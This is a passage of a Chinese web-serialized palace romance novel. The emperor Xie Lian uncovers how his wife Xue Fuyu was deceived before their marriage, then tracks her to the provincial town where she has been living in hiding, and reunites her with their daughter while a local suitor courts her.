薛明宜不想死,她回京就是来享福,而且她要是死了,她的女儿该怎么办? 她似是想到了什么,立刻道:“陛下,求您放妾一条生路,妾手上有成王收集的西北官员勾结突厥的证据,陛下若是杀了妾,永远也别想知道了!” “成王妃说的,可是这个?” 一直站在谢敛身后没出声的陆骞,此时走到了薛明宜的跟前,手上拿着的正是当初成王死前交给她的证据。 薛明宜见到之后脸色惨白,她顺着栏杆滑落,知道自己再也没有了活着的机会。 “陛下既然已经拿到了想要的东西,又何必前来?” 她靠着栏杆支撑着自己的身体,此时所有的希望都被陆骞给掐灭,而谢敛看她的眼神从始至终都是冰冷的。 如今也算是彻底明白,眼前的皇帝心中从来都没有过她。 当初待她有几分不同,大约也是因为她背后的薛家。 她早该知道,在他坐上那个位置,不仅没有提拔薛家在朝为官的人,还将她的大伯明升暗贬去了岭南,甚至她的阿爹也因为小小的贪污而被关了进去,这些足以证明他根本没把薛家放在眼里。 谢敛走到她的跟前,居高临下对着她问道:“朕只是想问你,当初皇后嫁给朕之前,你与她说了什么?” 薛明宜没想到他竟只是想知道这个,她对上谢敛阴沉的脸色,便知晓了一切,她凄然一笑:“看来陛下这些年与二姐姐朝夕相处,爱上二姐姐了呀。” 当时无论她如何与少年拉近关系,始终察觉不到少年对她有明确的喜欢,她以为是他性格内敛导致的,却原来他真的没想到从来都没有喜欢过她。 至多也只拿她当做朋友。 谢敛没有否认她的话,冰冷地声音再次传来,看向她的目光里带了寒冰:“朕不想再问第二次。” 薛明宜到底是怕自己惹怒了眼前的男人,会连明天都等不到了,她想起多年前的那天。 那时候二姐姐才回京没多久,她瞧着这位从未见过的堂姐,看着她生得那般漂亮,即便是知道她父母双亡,但是仍旧担心她会因为这张脸而得到皇室的青睐。 会嫁得比自己好,压自己一头。 恰逢她不想嫁给落魄的七皇子,而又实在找不到人代替她嫁给七皇子,于是她将目光放在了这位堂姐身上。 最终联合家中长辈逼得她不得不嫁。 然而在二姐姐出嫁前几天,她鬼使神差地找了对方,并且哭着告诉二姐姐七皇子与她青梅竹马,七皇子爱慕她几年,说非她不娶,是她负了七皇子,只希望二姐姐能够代替她好好的照顾七皇子。 就当是弥补了她的遗憾,说着还给二姐姐看了刻意伪造的定情信物。 她当年就是这样两头骗了他们二人。 薛明宜说完,谢敛的脸色又沉了几分。 怪不得玉姐姐从未真正敞开心扉对他,也从来都不愿听他的解释,原来竟是从一开始薛明宜就误导了她。 看着谢敛的脸色愈发地黑了,薛明宜心中莫名有些畅快,她道:“二姐姐要是心中真的喜欢陛下,也不会误会陛下与妾这么多年,想来都是因为不在乎——” “住口!” 她的话还没有说完,就被谢敛给打断了。 对上那双阴鸷的黑眸,薛明宜才后知后觉害怕 地往后缩了缩,“陛下想知道的妾已经都说了,能不能让妾死前再见一见妾的女儿?” “你已经被皇室除名,不再是成王妃,自然也不再是郡主的生母。” 谢敛转身,回头冷冷瞥了她一眼。 薛明宜没想到自己竟是连女儿最后一面都见不了,顿时爬着到牢门前,双手抓着栏杆尖声道:“让我见我女儿!让我见我女儿啊” 谢敛不想再看到她,抬腿就走了,身后女人尖锐的叫声逐渐远去。 “将薛家人与她关一起,死前总得让他们一家团聚。”谢敛吩咐道。 出了诏狱,谢敛看了一眼灰色的天空,想起薛明宜在牢中说起当年骗薛弗玉的话,只觉得心脏处一痛,他抬手捂在胸前,脸色变得苍白。 玉姐姐误会他太深,他想要好好地回去与她解释,告诉她,他其实喜欢的是她,根本不是薛明宜,可是他要回哪去? 回哪才能看见玉姐姐? 那个华丽的凤鸾宫中,早已没了那道日思夜想的身影。 “陛下!” 陆骞看见谢敛嘴角有血溢出,顿时惊呼道。 却见他只是拿袖子随手一擦,转而对着他道:“今日把薛氏的所作所为全部写下,明日朕要让朝中众臣知晓她究竟犯下了什么罪。” 说完之后,陆骞看着他的身体摇摇欲坠,然后被内侍扶着上了马车。 才回到宫里,李德全正劝他休息,这边又有棠梨宫的宫人前来,说公主哭闹不止,一直哭着想见皇后娘娘。 谢敛眉头一皱,只好动身前往棠梨宫。 等他到了棠梨宫后,发现昭昭正抱着薛弗玉给她缝的小兔子抹眼泪。 “父皇,阿娘到底怎么了,为什么棠梨宫的宫门不打开让昭昭进去,昭昭已经有很久很久没看到阿娘了,昭昭很想阿娘。” 见他来了,昭昭仰起一张满是泪痕的脸看着他哭诉。 谢敛掩去一身的疲累,从宫人的手中接过帕子仔细地替她擦眼泪,耐心哄道:“太医说了,你阿娘的病不能见人,不然会传给你,她不想让昭昭也生病,只好忍着不见昭昭,等她好了昭昭就能日日都去见了。” 可这一次昭昭却不是那么好哄的,不管他怎么说,小姑娘就是停不下来,最后哭得嗓子都哑了。 “父皇答应昭昭,只要昭昭好好吃饭好好睡觉,用不了多久就能见到你阿娘了。” 最后,他强忍着心里的痛苦,再一次哄骗昭昭。 有了他的话,昭昭总算是慢慢止住了哭声。 最终谢敛又哄她吃了午膳,吃完后想要让她去睡觉,谁知道小姑娘却缠着他要出外面消食。 谢敛没有办法,只好带着她出了棠梨宫,为了不让她再次想起薛弗玉,他带着昭昭往凤鸾宫的反方向走去。 父子二人走着走着,正好路过从前他和薛弗玉住过的旧宫。 昭昭挣脱了他的手,一个人跑到那被锁上的宫门前,转头对着他道:“父皇,上次阿娘告诉昭昭,父皇和阿娘以前就住在这里的。” 小姑娘糯糯的声音传来,引得刻意回避的男人不得不重新将目光移了回去。 上锁的宫门上的漆已经剥离,他顺着那门缝看去,依稀能看见里头的光景。 “阿敛,可以帮玉姐姐扎个秋千吗?” “阿敛,这山茶花开得好看吗?” “阿敛,屋子里有块地板松了,可以帮玉姐姐修好吗?” “阿敛,阿敛” 耳边突然出现薛弗玉温柔的嗓音,那些声音伴随着回忆一道袭来,充斥在他的脑海中,里面全是她或嗔或笑的影子。 他只觉得头痛欲裂,心也似被刀绞着,等他再次回神的时候,却见昭昭正拉着他的袖子,一张小脸皱到了一起。 “父皇,你怎么了?” 谢敛的额上出了冷汗,脸色变得苍白,忍着身体的不适,面上不动声色道:“没什么,只是想起了与你阿娘从前在这里的一些事。” 昭昭见他似没事了,又回到门边扒拉着门道:“父皇,那个秋千好好看,是父皇给阿娘做的吗?” 是。 他想起女子生平第一次求他,只为了扎一个秋千。 那时候他虽然觉得烦,可到底没有说什么,几天就给她扎好了,看着女子脸上露出惊喜,对他绽出明艳的笑,少年的耳朵忍不住偷偷红了。 其实他给她做秋千,除了是她要求之外,他还有私心。 他也想要她开心,想要为她做点什么。 所以那是少年时的他做得最认真最好的一个秋千 被突厥人进犯的锦泉郡距离邑沧郡不远,因着锦泉郡与突厥地界甚远,所以突厥几乎不会动锦泉郡。 谁知道这一次突厥竟是舍近求远,进犯锦泉郡,给他们打了个措手不及。 不过是几日就将几个镇子洗劫一空。 薛岐于三日前收到宫中密令,命他前往锦泉郡。 薛弗玉不放心,执意要跟着他前往锦泉郡。 “阿姐,这里危险,你还是回去吧。” 薛岐没想到薛弗玉竟是直接跟着他去了江阴镇。 薛弗玉看着穿着盔甲,已经有了大将之风的阿弟,她面上露出一抹笑:“我们薛家人什么时候贪生怕死过,如今我没了束缚,自然是想做些自己想做的事情。” 即便是不能与阿弟一样可以上战场,她也想守在阿弟的身边,替他做点什么。 薛岐了解她,最终没有再劝。 “将军,这是京中送来的。”一名士兵上前递给薛岐一份加急的密信。 信上说会派一名副将协助他应对突厥人。 薛岐的副将在几年前战死,这些年他一直在选合适的人选,他对副将要求极高,所以苦于没有寻到合适的,但他从没想过京中那位会直接替他选了人出来。 他的目光落在这位副将的名字上,眉头紧锁。 有些眼熟,总觉得在哪里见过。 第64章 薛弗玉在锦泉郡待了半个月的时间,在此期间突厥那边却没有了动静。 可气氛仍旧是紧绷着的。 她本还想继续留在江阴镇,谁知道薛岐一直劝她先回去,说这里不安全,且她在这里他会分心等等,正巧在邑沧郡那边她新开了一间铺子有些事需要她回去处理。 不得已她又回了一趟邑沧郡。 回到邑沧郡,她并未急着去处理新铺子的事情,而是先回了一趟薛宅。 此时的薛宅里面不再是空无一人,自从陈管事买了些丫鬟小厮回来,里面终于是有了人气。 下人见自家姑娘回来,都纷纷行礼问好。 其中一个跟着伺候她的小丫鬟岫玉道:“姑娘不在的这几日,镇上的那位李公子日日都前来寻姑娘,奴婢们说姑娘不在,他还不信。” 薛弗玉并不在意,她道:“日后他若是再上门,仍旧不见。” 岫玉笑着道:“奴婢们都知道,姑娘不喜欢他,而且奴婢觉得他也配不上姑娘,姑娘这样好,就是配个王公贵族都绰绰有余。” 说完她吐了吐舌头,她认为自己说得可都是大实话,姑娘生得这样美,要嫁人也是嫁给京中的那些贵人,就算是进宫也配得上。 只可惜当今圣上唯爱皇后娘娘,不然姑娘进了宫里,说不定就被圣上一眼相中了。 薛弗玉知道小姑娘心思活络,但也没有责怪的意思,只是道:“好了,以后这样的话就不要说了,要是有心人听到了,当心自己的舌头。” 后面的话自然不是故意吓唬她的,那些年在京中,谨言慎行便是她学到的重要的一项。 岫玉闻言立刻收起脸上的笑,认真点头:“奴婢知晓了,奴婢也就只敢在姑娘跟前说,换做是旁人面前是万不敢说的。” 而且她也不喜欢那位李公子,才会故意在姑娘跟前踩低对方,谁让他听不明白人话,姑娘早就说了对他无意,还天天上门,真是烦人得很。 那位李公子虽然家境殷实,又生得几分俊美,五年前娶妻生子,只可惜妻子难缠而亡,给他留下了个人四岁的女儿。 即便如此,这四年来镇上仍旧不少女子想要嫁给他当续弦。 不为了别,就算是为了他身后的财产,也非得挤破头了。 反正他生的又不是儿子,若是嫁给他能一举得男,那再好不过。 然而李公子却没有续娶的打算。 谁知道一直声称对亡妻念念不忘的李公子,第一次在街上见到他们姑娘的时候,竟是喜欢上了姑娘,瞬间把自己的亡妻抛到了脑后。 不仅一路悄悄跟着姑娘回到了薛宅,甚至还找人打听了姑娘。 从此只要姑娘出门,就会借故在外面制造碰见姑娘的机会,让他们这些人见识到了什么叫缠郎。 然而他们姑娘不是什么烈女,根本一点不会给李公子一个眼神,完全就将人当做了空气。 薛弗玉回到自己的屋中,先是歇息了一下,等醒来后重新穿戴了一番,便出门去新开的铺子里。 阿娘曾经说过,外祖一家曾经是做香料生意的,几十年前是西北一带最大的香料供应商,只是后来外祖父和几位舅舅在前往西域的路上遭到沙匪意外身亡,最终淹没在了大漠风沙里。 幸而死前阿娘还未出嫁,于风雨飘摇中一个人撑起了偌大的家产。 再后来阿娘嫁给了阿爹,大周断绝了与西域的商贸往来,阿娘的香料生意便不再做了。 而她这一次在镇上开的铺子,也是做香料的。 等她来到铺子里,正好看见黄二娘在给客人推荐香料。 看见薛弗玉来了,她脸上露出惊喜,立刻对着客人说了几句话,忙上前迎接:“姑娘回来了。” 原是掌柜的在检查账目的时候发现出了点问题,他们不敢瞒着薛弗玉,所以把事情的经过写了信让人送去江阴镇。 没想到姑娘竟是看了信就回来了。 薛弗玉闻言面上露出浅笑,温声道:“在那边没什么事,索性就回来了,出问题的账本给我看看。” 黄二娘很快让人拿了账本来给她看,不过半个时辰的时间,薛弗玉就发现了问题出在哪里,她指出来之后,又亲自改了。 “好了,放回去吧。”薛弗玉把账本交回给黄二娘。 “姑娘还去那边吗?”黄二娘问。 薛弗玉想了想,若是那边真的打起来了,她大约还是会去的,因为放心不下阿弟。 “去吧。”她答。 黄二娘担心道:“姑娘还是不要再去,那边不太平,谁知道突厥人会不会哪日就打了过来。” 她家住在江阴一带的亲戚在这半个月中全部都跑了,姑娘当初要去的时候她还劝了好些时间,谁知道还是没劝住姑娘。 不过如今姑娘总算是回来了。 薛弗玉在桌子前坐下,想起还在江阴镇的阿弟,心中有些不安。 她知道突厥不会轻易放弃对大周的觊觎,这样表面上的平静,反而更是不能让人掉以轻心。 这一仗注定是免不了了。 “二娘的担心我自然是知晓,只是我阿弟一个人在那里,我也不放心。”薛弗玉轻声道。 其实这些年她远在京城,只要阿弟在战场冲锋陷阵,她在京中也会日夜担心,本以为前几年已经平息了战乱,谁知道突厥会卷土重来。 这一次她也隐隐能感觉到,谢敛是铁了心要挫一挫突厥的锐气。 不然也不会调了这么多兵去锦泉郡,甚至封了阿弟为骠骑将军,让他带领将士上战场击败突厥人。 她知道早前阿弟就与突厥人多次交手,可这一次突厥明显来势汹汹,她害怕阿弟也会和阿爹一样倒在战场。 黄二娘只知道她有个弟弟在军中,她心中敬佩那些替他们保家卫国的军中儿郎,于是安慰她道:“姑娘不必担心,有薛将军在,他们一定能赢的。” “二娘说得对,我应该相信我阿弟他们才是。”薛弗玉勉强笑道。 不管结果如何,她都希望天下太平,这也是阿弟同样希望的。 她在香料铺子与黄二娘等人交代了一些需要注意的事宜,没有再做过多的停留,很快就离开了这里。 只是才出了铺子没走多远,突然听见一声有些熟悉的糯糯的声音。 “阿爹,我要吃糖葫芦!” 那声音从后方传来,落在薛弗玉的耳中,她浑身一怔,很快她回神猛地回身,却看见一个扎着辫子的小姑娘正扯着一个有些眼熟的男子,对着他撒娇要吃小贩卖的糖葫芦。 她眼底瞬间闪过莫大的失望。 她还以为,她还以为是日思夜想的女儿出现了。 不过想想也是,女儿在宫中,怎么可能会出现这种地方。 她欲转身离开,那带着小姑娘的男子却也看见了她,他忙掏出钱给了小贩,手上拿着糖葫芦牵着小姑娘走到她的跟前。 “薛姑娘,好巧。” 李靳看着眼前美得不可方物的女子轻声道。 他还以为今日不会再见到薛弗玉了,没想到带着女儿逛街的时候,竟还能碰上。 从第一次见到她的时候,他就看上了她,且听人说她曾嫁过人,后来夫君死了,婆家就放了她归家。 他们二人一位死了夫君,一位妻子早亡,在一起不是正合适? 薛弗玉不喜欢李靳看向她的眼神,那种势在必得的目光让她瞧了就不喜。 一旁的小姑娘也喜欢这位见过几次面的姐姐,她上前扯了扯薛弗玉的袖子,仰起头笑着与她打招呼:“薛姐姐好。” 薛弗玉看着小姑娘,就想起了昭昭,心中顿时柔软下来,伸手点了点她的鼻子,柔笑着道:“小雪也好,糖葫芦好吃吗?” 小雪很喜欢与眼前这位漂亮的大姐姐接触,她点头,甜甜道:“好吃!” 一旁的李靳看着这一幕,想要娶她的心更加强烈。 “李公子带着令爱出来逛街吗?”薛弗玉怕人误会,只得重新拉开距离客气问道。 说着看向他牵着的小姑娘,小姑娘和她的昭昭差不多大,只是可怜这么小就没了阿娘。 思及此,她又忍不住想起被自己留在宫里的昭昭,顿时心中传来酸楚,她的昭昭这时候在做什么,她不在的这些日子有没有好好吃饭睡觉? 李靳见薛弗玉对着自己的女儿露出愁绪,更觉得她心地善良,将来她进门了也能视小雪为己出。 “在下知道这些话对姑娘来说有点唐突,只是仍旧想问问姑娘是否还有再嫁的打算?” 人来人往的街上,薛弗玉生得美,又有李靳站在身边,已经引起来不少路过的人的目光。 薛弗玉听见他的问题,想也没想便客气回答:“多谢李公子好意,我暂时没有再嫁的打算,亡夫尸骨未寒,我不宜再嫁。” 反正在这里没人知道她是皇后,她说她夫君死了就死了。 李靳似乎并不意外她的回答,但还是不想放弃,继续道:“我们李家在邑沧郡有头有脸,郡守还是我的母舅,你若是嫁给我,下半辈子便不必发愁。” 薛弗玉觉得他的话有些好笑,她如今也并不用为生计发愁,她对上他道:“听说李公子自妻子去世后一直没有打算续娶,应是对亡妻用情至深。” 她的话让李靳闪过一丝的不自然,过了一会,他道:“不过是心中愧对亡妻罢了,但是遇到薛姑娘后,我就想通了,亡妻定然是不忍我孤独一人,所以让我与薛姑娘相遇。” 若是这时候谢敛在她身边,定然会冷嗤一声,薛弗玉突然想。 她面上维持着浅笑:“李公子错了,既然李公子愧对亡妻,就该好好抚养你们的女儿长大成人才对,这才是李夫人最大的心愿。” 这是再一次拒绝了他。 从前都是李靳拒绝别人,哪有别人拒绝他的理儿? 且还是在大街上,他顿时只觉得没有脸面,但为了维持君子之风,不得不带着女儿离开。 走了几步后他再回头,看了眼那道令人遐想的背影。 不过是一个被夫家休弃的妇人,他就不信他还得不到她了,只是到时候别求他才是! 不远处一辆低调的马车里,男人的视线落在李靳身上,眼中带着阴鸷,他不动声色将方才的所有都看在了眼里。 他的玉姐姐果然没死。 不仅没死,还有了新欢。 且还是一个带着孩子的鳏夫! “阿爹,昭昭什么时候能去找阿娘,刚刚那个是阿娘吗,阿娘是不是不要昭昭了” 马车里突然响起小姑娘稚嫩的声音,她紧紧扒着男人的腿嘟囔道。 “乖,过几日咱们就去找你阿娘,好不好?”谢敛哄道。 昭昭不明白明明刚才就看到了阿娘,为什么要过几天才能与阿娘说话,她瘪了瘪嘴:“阿娘是不是有了新的妹妹,不要昭昭了?” 她指的是小雪。 “阿娘怎么会不要昭昭,昭昭这么好,阿娘最喜欢昭昭。” 谢敛安抚似的摸了摸昭昭的头,平静的语气中掩盖住所有翻涌的情绪。 玉姐姐的心真就这样狠,竟然真的敢抛夫弃女。 他恨不得立刻带着女儿上去讨要说法,只是看到她对着别的男人语笑嫣然,他突然又不敢去了。 他害怕玉姐姐不愿意认他,觉得他和女儿是累赘,才会借着春猎离开他们父女二人的。 一想到方才她与那名男子言笑晏晏的画面,他的心就如同被无数利刃割开。 在之前他一直都不敢去承认一件事。 直到看见刚才的那一幕,才不得不承认。 他的玉姐姐是真的不要他了。 月前他终于下决定让女仵作验尸,才发现那具女尸年纪与玉姐姐的对不上。 很快他就明白了,玉姐姐是借着春猎突厥人行刺一事离开他。 而那名掉下悬崖的女子并不是她,而是特意伪装成她,让她借机离开京城。 最后他让林季顺着蛛丝马迹一查,查到了早已离京的薛岐身上。 他们姐弟二人竟是将他耍得团团转。 可他并没有为此而生气,反而只有无尽的恐慌。 玉姐姐宁愿用这样的方式离开他,说明是真的不愿意继续在他的身边,做他的皇后。 只要一想到她费尽心思就为了逃离他,心脏就会止不住的抽痛。 他脸色瞬间变得苍白,不愿再去想。 不管如何,他都要见她一面。 他想要一个回答。 一个他听了会万劫不复的回答 回来的第三天早上,薛弗玉是被岫玉给叫醒的。 “姑娘快醒醒!” 岫玉隔着帐子唤薛弗玉。 薛弗玉正做在梦里逗昭昭玩儿,突然被岫玉叫醒,她蹙起眉头,哑着声音问:“怎么了?” 岫玉着急道:“是那李公子,他带着媒人上门提亲了,还带着好些聘礼!” 此时人就在薛家门口,引了不少百姓前来观看。 语罢果真见薛弗玉起身,她快速地洗漱了一番,然后匆匆到了薛宅门口。 陈管事正板着脸与媒婆说话,见她来了,立刻上前道:“这里有我,姑娘还是快些进去吧!” 李靳见了她,笑着上前施礼:“薛姑娘,一个月前桥上遥遥一见,在下便对薛姑娘一见钟情,还请薛姑娘成全在下。” 薛弗玉扫了一眼丰盛的聘礼,这是提亲还是来下聘的不言而喻。 她避开李靳道:“多谢李公子抬爱,只是亡夫尸骨未寒,我还要给亡夫守着,李公子请回吧。” 这是她第二次提起亡夫,这时候媒婆站出来道:“薛姑娘,李公子这样好的人如今打着灯笼都找不着,您又是孀妇,若是错过这村可就没这店了。” “就是啊,李公子这么好的人,薛姑娘你就答应了吧。” “要是李公子看上的是我女儿该多好,这样相貌都不错的女婿,可不多见了,薛姑娘可别学人拿乔。” 围观的百姓都在说着让她同意的话。 薛弗玉只觉得吵闹,她神色不变,正要再次拒绝。 却听见一道熟悉的低沉嗓音自不远处传来:“我与我夫人并未和离,李公子是要做小么?” 不等薛弗玉有所反应,一道小小的身影就已经跑过来抱住了她的大腿。 “阿娘!昭昭好想你呀!”—— 作者有话说:李靳:做小也不是不可以[咬手绢] 谢敛:滚![愤怒] 他甚至不愿意等到下章见面[躺平] 第65章 薛弗玉听着日思夜想的稚嫩声音,一瞬间有些恍惚,以为自己是在做梦。 直到抱着自己大腿的小人儿扯了扯自己裙子的下摆,不满地嘟囔道:“阿娘,你怎么不说话,你不认识昭昭了吗?” 昭昭说着眼中很快就包了一包的眼泪。 她整个人都快挂在她的腿上了,此时费力地扬起头可怜巴巴地将阿娘望着。 薛弗玉没有去理会另一边目光灼灼盯着她的男人,弯腰含笑地抱起昭昭:“阿娘怎么会不认识昭昭,只是没想到昭昭会在这里。” 不过短短几个月的时间,谢敛竟然就找到了这里来。 她有想过自己逃跑的时候会失败,但是没想到成功之后,会这么快又见到他。 “阿娘,不要再离开昭昭了,好不好。” 怀中的女儿用习惯的方式紧紧搂着她的脖子,整个人贴着她,恨不得黏在她的身上,仿佛在寻找极度的安全感。 “好,阿娘答应昭昭。” 薛弗玉心酸的同时,心又变得异常柔软,这个她辛苦十月怀胎生下的孩子,与她之间血肉相连。 当初她下了很大的决心才狠心抛下女儿,如今女儿又出现在这里,让她既高兴又心疼。 只是一想到女儿之所以会出现在这里,皆是因为不远处的男人,她的心又冷静了下来。 谢敛仍旧站在最开始的地方,他没有上前。眼睁睁看着昭昭挣脱他的手掌跑到了薛弗玉的身前,又被她抱起搂在了怀中。 她看着女儿的眼神温柔得仿佛能把人溺闭其中。 也是从前看他时会有的眼神,是他这几个月来时时想念的。 可她从始至终都没有看他一眼,连个余光都没有扫向他。 双脚突然就像是被钉在地上,他不得不强行压下那些见到她而从心底疯狂翻涌上来的情绪。 李靳原本还以为是哪位和他一样想要娶薛弗玉为妻的,故意带了自己的女儿前来,想要与他竞争,谁知道等他看清被薛弗玉抱在怀中的小姑娘时,顿时怔愣住了。 那粉雕玉琢的小姑娘与抱着她的女子生得有五分相像,明眼人一瞧就知道这俩人是母子无疑,然而小姑娘的眉眼还有几分那男人的神韵。 这分明就是一家三口。 李靳指着昭昭道:“薛姑娘,这真是你女儿?” 他还存有几分幻想,不死心地想要得到她的亲口回答。 薛弗玉抱着昭昭看向他,点头道:“李公子,这确实是我的女儿。” “那他呢,我记得你明明说过你夫君已经死了,那这个男人究竟是谁?” 李靳又转身明晃晃指着不远处的谢敛道。 然而等他说完,便觉得背后莫名生出寒气,顿时感觉自己的脖子一凉,就好像是被什么盯上了,很快他就收回了自己的手。 “玉姐姐,你说我死了?” 只见周身气度不凡,隐隐带着上位者气息的男人朝着他们走来,然而在看见薛弗玉的时候,脸上的冷淡又变成了受伤的神色。 谢敛艰难地走到薛弗玉的身前,明明是质问的语气,却带着几分的颓然。 造谣被正主抓到,薛弗玉到底是有 些心虚。 但转念一想,如今谢敛隐瞒身份来到这里,自然不能将她怎么样,她于是垂眸道:“你我之间的事,再说吧。” 说着她再次对着李靳道:“李公子,你也看见了,我女儿和她阿爹都来了,还请回去,我之前就说过我不会再嫁。” 李靳心有不甘:“薛姑娘,你都被他休弃了,为何还不愿意选择更好的,你一定是被他伤透了心,才会回到这里,再者都说好马不吃回头草,这男人一看就不是良配——” “你在找死么?” 被人当面挖墙脚,还连带着贬低自己,谢敛冷冷撇了李靳一眼,抬起手就要让人将他带走。 却被薛弗玉拦下了:“阿敛,不要动他,让他离开。” 谢敛没想到薛弗玉竟然在他跟前维护别的男人,只觉得心被人狠狠地用刀扎了进去,他受伤地看向薛弗玉,“玉姐姐” 薛弗玉从没见过他这样的眼神,仿佛她要是再帮着李靳说些什么,他就会伤心死,她瞬间觉得心头一跳,移开目光,轻声提醒道:“这里是邑沧郡,不是京城。” 他如今的身份不是皇帝,自然不能随便对人动手。 不为他自己着想,她也要为了自己和昭昭着想。 要是他的身份暴露了,那么她和昭昭的身份自然也会跟着暴露,她好不容易得来的安宁,也会被毁了。 “好,我听你的。” 最终他没有底下的人对李靳动粗,而李靳后知后觉想起薛弗玉是从京中回来的,她这位前夫看着也不像是一般人,他不能硬碰硬。 “薛姑娘,还请你再考虑考虑,在下不会轻易放弃的,走!” 看着李靳带着人灰溜溜地走了,薛弗玉的心却没有彻底放下来。 她视线落在谢敛的身上,然后愣了一瞬,她怎么觉得他瘦了许多?不仅看着也憔悴了不少,甚至走近了还能看见他眼底的黑青。 他这段时间怎么了,难不成她的离开对他的打击有这么大吗? 很快她又否认了自己这个想法,他大约是忧心突厥才把自己弄成这样的。 谢敛看见她眸中闪过讶异,除此之外再无别的情绪,他的心慢慢沉了下去。 原来这几个月里,只有他一个人在没日没夜地想着她。 眼前的女子与他截然不同,不仅没有任何的疲态,甚至比最后见她的那一日又丰腴了一些,整个人容光焕发。 温柔中带着明艳,让他,更加地想要靠近。 却也明白比起宫中她更喜欢在这里,才会被滋养得如此。 薛弗玉不知道为何眼前的男人沉默着,猜测他在心里打的什么算盘,她紧紧抱着昭昭,一脸如临大敌,担心他会不顾她的意愿,强行让人将她带回宫里。 然而过了半晌,却只听见他哑然问道:“玉姐姐在这里,生活得很开心么?” 滞涩的嗓音带着不易察觉的失落。 说完他抬眸静静看着她,似乎想要将她的样子深深刻在心里。 薛弗玉愣住,她原是打算好了与他摊开说的。 可当他颓靡地问出这句话的时候,她一时不知道该如何开口,她在这里的确过得很开心,想做什么就做什么。 更不用,费尽心思去应付他,讨好他。 她的沉默给了谢敛答案,他勉强露出一丝笑:“看来我不该出现在这里。” 薛弗玉想点头,可瞧见他略显苍白的脸,难得的生出了一丝同情,她小声问:“陛下,您是生病了吗?” 为什么脸色这般差,看起来就好像她要再说些绝情的话,他随时会倒下的样子。 不过是她随口一说的关心的话,男人却有些激动,他轻咳几声:“那日在林间遭遇突厥人的埋伏,不慎受了点伤。” 只是受了点伤吗? 薛弗玉有些怀疑,但还是问:“那如今伤好得如何了?妾瞧着您身子看着还有些,有些虚弱?” 有了她的关心,谢敛只觉得身上哪哪都好,他眸色亮了亮,“已经没什么大碍,玉姐姐不用担心。” “果真吗?”薛弗玉有些狐疑地看了他一眼。 后者艰难地点头。 薛弗玉见状唇边泛起一抹笑意:“既然如此,那我就不留你了,陈伯,咱们回去吧。”、 说着抱着昭昭进了大门,不等谢敛有所反应又让人把大门给关上了。 谢敛眼睁睁看着薛弗玉好留情将他关在了外面,一时无可奈何,垂下眼眸遮住了失落的情绪。 看热闹的房门没想到他们姑娘竟是只抱着小小姐进了门,却把前姑爷留在了门外,他们看了一眼门关上后没多久就变了一张脸的男人,被对方阴鸷的目光淡淡撇了一眼,顿时假装看不见他。 暗处的林季将这一幕都看在了眼里,他在心里对薛弗玉竖起了大拇指。 皇后娘娘可真行! 谢敛掸了掸下摆的灰尘,没有要离开的意思。 不管如何,他今日都看见了玉姐姐,还与她说上了话。 玉姐姐还愿意理他,证明情况还没糟糕到那个地步去。 他在薛宅大门口站了半个多时辰,直到有侍卫前来与他说了几句话,他才沉着一张脸离开 薛弗玉抱着昭昭进了屋子,放下昭昭后,又让岫玉让人送了好些瓜果来。 昭昭却对那些吃的不感兴趣,只一个劲儿地扒着她。 “阿娘,阿爹骗了昭昭,他说阿娘生病了才不能见昭昭,阿娘明明没有生病。” 谢敛最开始是想用她生病来哄骗昭昭的,然而时间久了,小姑娘开始变得不信,好几次想要闯凤鸾宫,后来更是几乎每天夜里都哭,最后谢敛没有办法。 在得知薛弗玉下落的时候,直接把女儿也带上了。 如愿见到了阿娘的昭昭,从被阿娘抱着进了薛宅之后就叽叽喳喳地说着话,似乎要把这几个月没与阿娘说的话都一次性说完。 薛弗玉心疼地抱着昭昭坐在膝上,满怀愧疚道:“是阿娘不好,丢下昭昭一个人在宫里,都怪阿娘。” 昭昭抱着她的腰身,把头埋在她的身前蹭了蹭,软软道:“昭昭不怪阿娘,碧云姑姑说阿娘在宫里活得太辛苦了,所以才会出宫散心,阿娘下次出宫散心也带上昭昭好不好?” 怀中的女儿黏黏糊糊地与自己说着话,薛弗玉在心里暗暗叹了口气,她不想再回宫里,但是谢敛已经找到了她,自然是不会再由着她。 她该怎么办? “阿娘?你怎么不说话了?” 昭昭迟迟得不到她的回答,抱着她的力气更紧了,她把脸埋在自家阿娘的怀中,闷闷地声音传出。 薛弗玉的软肋就是昭昭,如今女儿不知道他们夫妻之间的事,她也不想告诉昭昭,让昭昭徒增烦恼。 她的手轻轻拍了拍女儿的背,安抚她道:“阿娘下次出来一定带上昭昭。” 果然怀中的昭昭得了她的回答,又重新仰起头看她,脸上露出了笑:“那阿娘可以连阿爹也一起带上吗,阿爹他也也很想阿娘的,昭昭还看见阿爹对着阿娘的画像哭了!” 闻言薛弗玉皱起眉头,她的画像? 谢敛什么时候有她的画像的,为何她不知道。 难不成是她离开之后,他特意找人画的? 然而重点不是画像,而是他,谢敛,竟然对着她的画像哭了? 蓦地,她有想起春猎那晚的场景。 以及方才他见了自己时的神情,没有任何因为她私自离宫的怒火,像是只有被她抛弃的伤心。 不多时,她的脑中冒出了一个有些荒谬的猜测。 可,他从前不是喜欢薛明宜吗? 看来男人变心是真的快。 最后她得出这个结论,觉得他今日能喜欢上她,明日就能喜欢上别的女人。 “一定是昭昭看错了,你阿爹可是受伤了都不会哭的人,昭昭饿了吗,这些都是昭昭爱吃的点心。”薛弗玉见岫玉端了些糕点来,笑着捏了捏昭昭的小脸。 惹得昭昭躲了躲,很快被她转移了注意力。 等昭昭吃着糕点的时候,薛弗玉一转头,就看见门边探出几个头。 岫玉等 几个丫鬟皆是看着昭昭。 “你们几个成何体统,刚学的规矩这么快就忘了?” 陈管事的声音在门外响起,几人顿时规矩地站在了门边。 她们只是第一次见到与姑娘生得这么像的孩子,而且还生得这么玉雪可爱,让人见了忍不住心生好感。 “好了陈伯,不必太过苛责她们。”薛弗玉浅笑道。 “阿娘,昭昭可以和这几位姐姐玩吗?” 昭昭吃饱了,她看着门边站着的几位十四五的少女,问薛弗玉。 小姑娘正是爱玩的年纪,很快就坐不住了。 薛弗玉对上昭昭黑葡萄似的眼睛,心软得要化成一摊水了,她柔笑着点头,又叮嘱了一番面露喜色的几个小丫鬟。 等人都出到院子后,陈管事上前问道:“姑娘,门口那位公子,真的是您的夫君?” 除了身份一事她不想让任何人知晓,这个倒是可以回答:“是,只是我与他之间已经没有可能,还请陈伯见了他不要放他进来,但切记万不能得罪他。” 那男人小气得很,万一得罪了他,说不定还要吃苦头,陈伯这把老骨头可经不住折腾。 